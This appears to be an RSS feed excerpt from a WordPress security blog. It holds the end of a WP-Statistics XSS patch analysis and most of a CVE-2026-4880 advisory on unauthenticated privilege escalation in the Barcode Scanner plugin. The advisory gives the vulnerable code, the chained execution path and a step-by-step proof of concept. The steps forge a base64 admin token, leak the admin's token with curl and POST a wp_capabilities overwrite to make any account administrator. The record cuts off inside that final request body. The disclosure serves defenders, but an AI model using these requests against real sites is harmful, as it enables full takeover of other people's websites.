&lt;li&gt;Alternatively, inspect the chart&apos;s legend DOM: the &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; inside the &lt;code&gt;.wps-postbox-chart--item&lt;/code&gt; element will contain the raw HTML from the &lt;code&gt;utm_source&lt;/code&gt; parameter.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Four files were modified to fix the XSS:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/Service/Analytics/Referrals/ReferralsParser.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;sanitize_text_field()&lt;/code&gt; around raw &lt;code&gt;$value&lt;/code&gt; before storing as &lt;code&gt;source_name&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/dev/javascript/config.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;wps_js.escapeHtml()&lt;/code&gt; helper function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/dev/javascript/chart.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Applied &lt;code&gt;wps_js.escapeHtml()&lt;/code&gt; around &lt;code&gt;dataset.label&lt;/code&gt; in two locations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/dev/javascript/helper.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Applied &lt;code&gt;wps_js.escapeHtml()&lt;/code&gt; around &lt;code&gt;labels[i]&lt;/code&gt; in bar chart rendering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/dev/javascript/components/traffic-hour-chart.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Applied &lt;code&gt;wps_js.escapeHtml()&lt;/code&gt; around &lt;code&gt;dataset.label&lt;/code&gt; in two locations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Server-side fix&lt;/strong&gt; (&lt;code&gt;ReferralsParser.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- $channels[$key][&apos;name&apos;] = $value;
+ $channels[$key][&apos;name&apos;] = sanitize_text_field($value);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags and removes extra whitespace, preventing any HTML from being stored in &lt;code&gt;source_name&lt;/code&gt;. This is the primary defense — it breaks the exploit at the data ingestion point.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Client-side fix&lt;/strong&gt; (JavaScript files):&lt;/p&gt;
&lt;p&gt;The patch adds a new &lt;code&gt;escapeHtml()&lt;/code&gt; function to the global &lt;code&gt;wps_js&lt;/code&gt; object in &lt;code&gt;config.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var _htmlEscapeMap = {&apos;&amp;amp;&apos;: &apos;&amp;amp;amp;&apos;, &apos;&amp;lt;&apos;: &apos;&amp;amp;lt;&apos;, &apos;&amp;gt;&apos;: &apos;&amp;amp;gt;&apos;, &apos;&quot;&apos;: &apos;&amp;amp;quot;&apos;, &quot;&apos;&quot;: &apos;&amp;amp;#39;&apos;};
wps_js.escapeHtml = function (str) {
    if (typeof str !== &apos;string&apos;) return str == null ? &apos;&apos; : String(str);
    return str.replace(/[&amp;amp;&amp;lt;&amp;gt;&quot;&apos;]/g, function (c) { return _htmlEscapeMap[c]; });
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All &lt;code&gt;innerHTML&lt;/code&gt; assignments that previously inserted &lt;code&gt;dataset.label&lt;/code&gt; or &lt;code&gt;labels[i]&lt;/code&gt; directly now wrap the value with &lt;code&gt;wps_js.escapeHtml()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- legendItem.innerHTML = `&amp;lt;span&amp;gt;${dataset.label}&amp;lt;/span&amp;gt;...`;
+ legendItem.innerHTML = `&amp;lt;span&amp;gt;${wps_js.escapeHtml(dataset.label)}&amp;lt;/span&amp;gt;...`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is defense-in-depth: even if a future regression introduces unsanitized data into &lt;code&gt;source_name&lt;/code&gt;, the client-side escaping would still prevent XSS. Both layers working together make the fix robust.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// ReferralsParser.php
- $channels[$key][&apos;name&apos;] = $value;
+ $channels[$key][&apos;name&apos;] = sanitize_text_field($value);

// config.js (new)
+var _htmlEscapeMap = {&apos;&amp;amp;&apos;: &apos;&amp;amp;amp;&apos;, &apos;&amp;lt;&apos;: &apos;&amp;amp;lt;&apos;, &apos;&amp;gt;&apos;: &apos;&amp;amp;gt;&apos;, &apos;&quot;&apos;: &apos;&amp;amp;quot;&apos;, &quot;&apos;&quot;: &apos;&amp;amp;#39;&apos;};
+wps_js.escapeHtml = function (str) {
+    if (typeof str !== &apos;string&apos;) return str == null ? &apos;&apos; : String(str);
+    return str.replace(/[&amp;amp;&amp;lt;&amp;gt;&quot;&apos;]/g, function (c) { return _htmlEscapeMap[c]; });
+};

// chart.js (two locations)
- legendItem.innerHTML = `&amp;lt;span&amp;gt;${dataset.label}&amp;lt;/span&amp;gt;...`;
+ legendItem.innerHTML = `&amp;lt;span&amp;gt;${wps_js.escapeHtml(dataset.label)}&amp;lt;/span&amp;gt;...`;

- ${dataset.label}
+ ${wps_js.escapeHtml(dataset.label)}

// helper.js
- labelDiv.innerHTML = labels[i];
+ labelDiv.innerHTML = wps_js.escapeHtml(labels[i]);

// traffic-hour-chart.js (two locations)
- ${dataset.label}
+ ${wps_js.escapeHtml(dataset.label)}

- ... ${dataset.label}
+ ... ${wps_js.escapeHtml(dataset.label)}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 16, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 16, 2026&lt;/td&gt;
&lt;td&gt;Patched version 14.16.5 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;wp-statistics&lt;/code&gt; plugin to version &lt;strong&gt;14.16.5&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, disable the plugin. Alternatively, block any request where &lt;code&gt;utm_source&lt;/code&gt; contains HTML characters at your WAF or web server.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-statistics/trunk/assets/dev/javascript/chart.js#L498&quot;&gt;plugins.trac.wordpress.org — chart.js (trunk) L498&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-statistics/tags/14.16.4/assets/dev/javascript/chart.js#L498&quot;&gt;plugins.trac.wordpress.org — chart.js (14.16.4) L498&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-statistics/trunk/src/Service/Analytics/Referrals/ReferralsParser.php#L62&quot;&gt;plugins.trac.wordpress.org — ReferralsParser.php (trunk) L62&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-statistics/tags/14.16.4/src/Service/Analytics/Referrals/ReferralsParser.php#L62&quot;&gt;plugins.trac.wordpress.org — ReferralsParser.php (14.16.4) L62&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;new=3503795%40wp-statistics%2Ftrunk&amp;amp;old=3483860%40wp-statistics%2Ftrunk&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;plugins.trac.wordpress.org — Changeset (patch diff)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-16T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4880: Barcode Scanner Plugin Privilege Escalation</title><link>https://hurayraiit.com/blog/cve-2026-4880-barcode-scanner-privilege-escalation/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4880-barcode-scanner-privilege-escalation/</guid><description>CVE-2026-4880 (CVSS 9.8) allows unauthenticated attackers to escalate privileges to administrator in Barcode Scanner (+Mobile App) WordPress plugin &lt;= 1.11.0.</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4880&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated privilege escalation vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/&quot;&gt;Barcode Scanner (+Mobile App)&lt;/a&gt; WordPress plugin. The flaw chains an insecure token bypass with an unrestricted user-meta write. In two HTTP requests, a remote attacker can escalate any WordPress account to full administrator — no credentials required.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Barcode Scanner (+Mobile App) – Inventory manager, Order fulfillment system, POS (Point of Sale)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;barcode-scanner-lite-pos-to-manage-products-inventory-and-orders&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4880&quot;&gt;CVE-2026-4880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation via Insecure Token Authentication (Improper Privilege Management)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders.1.11.0.zip&quot;&gt;&amp;lt;= 1.11.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders.zip&quot;&gt;1.12.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 15, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://linkedin.com/in/jude-nwadinobi&quot;&gt;Jude Nwadinobi&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/barcode-scanner-mobile-app-1110-unauthenticated-privilege-escalation-via-insecure-token-authentication&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Barcode Scanner (+Mobile App) plugin for WordPress is vulnerable to privilege escalation via insecure token-based authentication in all versions up to and including 1.11.0. The plugin has three weaknesses that combine into one exploit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It trusts a user-supplied Base64-encoded user ID in the &lt;code&gt;token&lt;/code&gt; parameter to identify users&lt;/li&gt;
&lt;li&gt;It leaks valid authentication tokens through the unauthenticated &lt;code&gt;barcodeScannerConfigs&lt;/code&gt; action&lt;/li&gt;
&lt;li&gt;It has no meta-key restrictions on the &lt;code&gt;setUserMeta&lt;/code&gt; action&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An unauthenticated attacker can exploit these together. First, they spoof the admin user ID to leak the admin&apos;s authentication token. Then they use that token to overwrite any user&apos;s &lt;code&gt;wp_capabilities&lt;/code&gt; meta, gaining full administrator access.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Overview of the Three-Chained Weaknesses&lt;/h3&gt;
&lt;p&gt;The exploit chains three independent security weaknesses:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Insecure token validation in &lt;code&gt;Users::getUserId()&lt;/code&gt;&lt;/strong&gt; — accepts a forged base64-encoded user ID as authentication proof&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated token disclosure via &lt;code&gt;barcodeScannerConfigs&lt;/code&gt;&lt;/strong&gt; — leaks any user&apos;s stored session token by spoofing their user ID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arbitrary user-meta write in &lt;code&gt;setUserMeta&lt;/code&gt;&lt;/strong&gt; — no meta-key allowlist and no ownership check on the target user ID&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Weakness 1: Base64 User-ID Spoofing — &lt;code&gt;Users::getUserId()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/API/classes/Users.php&lt;/code&gt;, lines 30–53&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function getUserId($request)
{
    global $wpdb;

    $userId = get_current_user_id();
    $token  = $request-&amp;gt;get_param(&quot;token&quot;);

    if (!$userId &amp;amp;&amp;amp; $token) {
        try {
            if (preg_match(&quot;/^([0-9]+)/&quot;, @base64_decode($token), $m)) {
                if ($m &amp;amp;&amp;amp; count($m) &amp;gt; 0 &amp;amp;&amp;amp; is_numeric($m[0])) {
                    $userId = $m[0];   // &amp;lt;-- TRUSTS THE DECODED VALUE AS A REAL USER ID
                }
            } else {
                $meta = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM {$wpdb-&amp;gt;usermeta}
                    WHERE meta_key = &apos;barcode_scanner_app_otp&apos;
                    AND meta_value = &apos;{$token}&apos;;&quot;);
                $userId = $meta ? $meta-&amp;gt;user_id : $userId;
            }
        } catch (\Throwable $th) {}
    }
    return $userId;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The &lt;code&gt;if&lt;/code&gt; branch decodes the token from base64 and — if the result begins with digits — uses those digits as the authenticated user ID with zero database verification. An attacker who sends &lt;code&gt;MQ==&lt;/code&gt; (base64 of &lt;code&gt;&quot;1&quot;&lt;/code&gt;) causes the function to return &lt;code&gt;1&lt;/code&gt; (the WordPress admin user), even though no credential was provided.&lt;/p&gt;
&lt;p&gt;The same flaw exists in &lt;code&gt;Auth::getUserId()&lt;/code&gt; (&lt;code&gt;src/API/classes/Auth.php&lt;/code&gt;, lines 221–267), which is used to authenticate API requests in &lt;code&gt;AjaxRoutes&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Weakness 2: Unauthenticated Token Disclosure via &lt;code&gt;barcodeScannerConfigs&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/Core.php&lt;/code&gt;, lines 83–85 and 350–498&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Core.php — triggered without any authentication check
if (isset($_GET[&quot;action&quot;]) &amp;amp;&amp;amp; $_GET[&quot;action&quot;] == &quot;barcodeScannerConfigs&quot;) {
    add_action(&apos;init&apos;, array($this, &apos;handleConfigs&apos;), 999999);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;?action=barcodeScannerConfigs&lt;/code&gt; is present in the request, &lt;code&gt;handleConfigs()&lt;/code&gt; fires on WordPress &lt;code&gt;init&lt;/code&gt; — unauthenticated, no nonce. It calls &lt;code&gt;adminEnqueueScripts(true)&lt;/code&gt;, which:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Resolves the user via the spoofable &lt;code&gt;Users::getUserId()&lt;/code&gt; (Weakness 1)&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;Users::getUToken($userId, $platform)&lt;/code&gt; to obtain or create the user&apos;s &lt;code&gt;barcode_scanner_web_otp&lt;/code&gt; token&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// src/API/classes/Users.php — getUToken()
public static function getUToken($userId, $platform)
{
    $token = get_user_meta($userId, &apos;barcode_scanner_web_otp&apos;, true);
    if ($token) {
        return $token;                          // Returns the existing web OTP
    } else {
        $token = md5(time());
        update_user_meta($userId, &apos;barcode_scanner_web_otp&apos;, $token);
        return $token;                          // Creates and returns a new one
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result is serialized into the JSON response under &lt;code&gt;usbs.utoken&lt;/code&gt; at Core.php line 498:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;utoken&apos; =&amp;gt; Users::getUToken($userId, $platform),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By spoofing &lt;code&gt;userId = 1&lt;/code&gt; (admin), an attacker receives the administrator&apos;s &lt;code&gt;barcode_scanner_web_otp&lt;/code&gt; in plaintext.&lt;/p&gt;
&lt;h3&gt;Weakness 3: Arbitrary User-Meta Write via &lt;code&gt;setUserMeta&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/API/actions/UsersActions.php&lt;/code&gt;, lines 339–353&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function setUserMeta(WP_REST_Request $request) {
    $userId = $request-&amp;gt;get_param(&quot;userId&quot;);    // Attacker controls the target user ID
    $fields = $request-&amp;gt;get_param(&quot;fields&quot;);
    $errors = array();

    try {
        foreach ($fields as $field) {
            \update_user_meta($userId, $field[&apos;meta_key&apos;], $field[&apos;meta_value&apos;]); // No allowlist!
        }
    } catch (\Throwable $th) {
        $errors[] = $th-&amp;gt;getMessage();
    }

    return rest_ensure_response(array(&quot;errors&quot; =&amp;gt; $errors, &quot;fields&quot; =&amp;gt; $this-&amp;gt;getUserMeta($userId)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two critical flaws:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No ownership check&lt;/strong&gt; — any authenticated session can target any &lt;code&gt;userId&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No meta-key allowlist&lt;/strong&gt; — &lt;code&gt;wp_capabilities&lt;/code&gt; (the key that controls WordPress roles) can be freely written&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Full Execution Path&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Request 1 (leak admin token):
GET /?action=barcodeScannerConfigs&amp;amp;token=MQ==   (MQ== = base64(&quot;1&quot;))

    Core::__construct()
     └─ add_action(&apos;init&apos;, &apos;handleConfigs&apos;)

    Core::handleConfigs()
     └─ adminEnqueueScripts($isAjax=true)
         ├─ Users::getUserId($request)          → returns 1 via base64 decode
         └─ Users::getUToken(1, $platform)      → returns admin&apos;s barcode_scanner_web_otp
             └─ RESPONSE: {&quot;usbs&quot;:{&quot;utoken&quot;:&quot;&amp;lt;LEAKED_TOKEN&amp;gt;&quot;, ...}}

Request 2 (privilege escalation):
GET  /?action=barcodeScannerAction&amp;amp;token=&amp;lt;LEAKED_TOKEN&amp;gt;&amp;amp;platform=android
POST body: {&quot;rout&quot;:&quot;setUserMeta&quot;,&quot;userId&quot;:&amp;lt;TARGET_UID&amp;gt;,&quot;fields&quot;:[{&quot;meta_key&quot;:&quot;wp_capabilities&quot;,&quot;meta_value&quot;:{&quot;administrator&quot;:true}}]}

    Core::ajaxRequest()
     └─ AjaxRoutes($post, $get, $this)
         ├─ Auth::check(token=&amp;lt;LEAKED_TOKEN&amp;gt;)
         │    └─ DB lookup: meta_key IN (&apos;barcode_scanner_app_otp&apos;,&apos;barcode_scanner_web_otp&apos;)
         │         → Finds admin&apos;s web_otp → returns TRUE
         ├─ Auth::getUserId(token=&amp;lt;LEAKED_TOKEN&amp;gt;) → returns 1 (admin)
         ├─ Users::setUserId(1)
         ├─ wp_set_current_user(1)               ← triggered by platform=android
         ├─ PermissionsHelper::init($request)
         │    └─ getUserRolePermissions(0)
         │         └─ get_current_user_id()      → returns 1 (after wp_set_current_user)
         │              → loads administrator permissions (orders=1 ✓)
         └─ setUserMeta($request)
              ├─ $userId = $request-&amp;gt;get_param(&quot;userId&quot;) → attacker-supplied target
              └─ update_user_meta($userId, &quot;wp_capabilities&quot;, {&quot;administrator&quot;:true})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The legitimate login flow (&lt;code&gt;usbs_auth&lt;/code&gt;) issues tokens of the form &lt;code&gt;base64_encode(&quot;{userId}{siteUrl}&quot;)&lt;/code&gt;. The &lt;code&gt;Users::getUserId()&lt;/code&gt; function decodes these tokens and extracts the leading numeric user ID. However, it never checks whether the decoded ID matches the correct site URL, or whether any matching record exists in the database. An attacker who sends &lt;code&gt;base64_encode(&quot;1&quot;)&lt;/code&gt; passes the check the same way a real token for user 1 would.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;Each of these three weaknesses exists partly because the plugin&apos;s other safeguards had gaps too:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;barcodeScannerConfigs&lt;/code&gt; action&lt;/strong&gt; has no nonce, no capability check, and no authentication requirement — it exposes the full plugin configuration including the &lt;code&gt;utoken&lt;/code&gt; field.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Auth::check()&lt;/code&gt;&lt;/strong&gt; does validate tokens via database lookup, but the base64-decode path in &lt;code&gt;Auth::getUserId()&lt;/code&gt; bypasses that lookup entirely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PermissionsHelper::onePermRequired()&lt;/code&gt;&lt;/strong&gt; checks the resolved user&apos;s roles, but when &lt;code&gt;platform=android&lt;/code&gt; is passed, &lt;code&gt;wp_set_current_user()&lt;/code&gt; is called with the admin&apos;s ID before permissions are evaluated, granting admin-level access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;setUserMeta&lt;/code&gt;&lt;/strong&gt; has a &lt;code&gt;PermissionsHelper::onePermRequired([&apos;orders&apos;])&lt;/code&gt; guard but no secondary check that the requesting user owns the target &lt;code&gt;userId&lt;/code&gt; and no restriction on which meta keys can be written.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated remote attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Obtain a valid administrator authentication token without any credentials&lt;/li&gt;
&lt;li&gt;Escalate any WordPress user account (including their own) to full administrator&lt;/li&gt;
&lt;li&gt;Achieve complete site takeover: install plugins, create backdoor accounts, exfiltrate data, deface content, or manipulate WooCommerce orders and inventory&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;barcode-scanner-lite-pos-to-manage-products-inventory-and-orders&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.11.0&lt;/li&gt;
&lt;li&gt;WordPress user registration enabled (or attacker has any low-privilege account — e.g., WooCommerce customer/subscriber)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify admin user ID (usually 1)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;WordPress admin accounts are created as user ID 1 by default. Confirm by observing the author archive URL or user enumeration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Forge an admin-spoofing token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The token format expected by &lt;code&gt;Users::getUserId()&lt;/code&gt; is &lt;code&gt;base64_encode(&quot;{userId}&quot;)&lt;/code&gt;. For admin (ID=1):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# base64 encode of &quot;1&quot; = MQ==
python3 -c &quot;import base64; print(base64.b64encode(b&apos;1&apos;).decode())&quot;
# Output: MQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Leak the admin&apos;s authentication token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send an unauthenticated GET request to the &lt;code&gt;barcodeScannerConfigs&lt;/code&gt; endpoint with the spoofed token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://TARGET.COM/?action=barcodeScannerConfigs&amp;amp;token=MQ==&quot; \
  | python3 -m json.tool | grep utoken
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected response excerpt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;usbs&quot;: {
    &quot;utoken&quot;: &quot;a3f1b2c4d5e6f7890123456789abcdef&quot;,
    ...
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the &lt;code&gt;utoken&lt;/code&gt; value as &lt;code&gt;LEAKED_TOKEN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Obtain a target user ID to escalate&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If WordPress user registration is open, register a new account and note the user ID assigned. In WooCommerce sites, customer account creation is typically enabled. The assigned user ID can be found in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress profile page URL: &lt;code&gt;/wp-admin/profile.php&lt;/code&gt; → check URL after saving (&lt;code&gt;user_id=N&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WooCommerce &quot;My Account&quot; page&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Alternatively, target any known non-admin user ID on the site.&lt;/p&gt;
&lt;p&gt;Set &lt;code&gt;TARGET_UID&lt;/code&gt; to the user ID you want to escalate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Escalate the target account to administrator&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LEAKED_TOKEN=&quot;a3f1b2c4d5e6f7890123456789abcdef&quot;
TARGET_UID=3   # The user ID you want to escalate
TARGET_SITE=&quot;https://TARGET.COM&quot;

curl -s -X POST \
  &quot;${TARGET_SITE}/?action=barcodeScannerAction&amp;amp;token=${LEAKED_TOKEN}&amp;amp;platform=android&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &quot;{
    \&quot;rout\&quot;: \&quot;setUserMeta\&quot;,
    \&quot;userId\&quot;: \&quot;${TARGET_UID}\&quot;,
    \&quot;fields\&quot;: [
      {
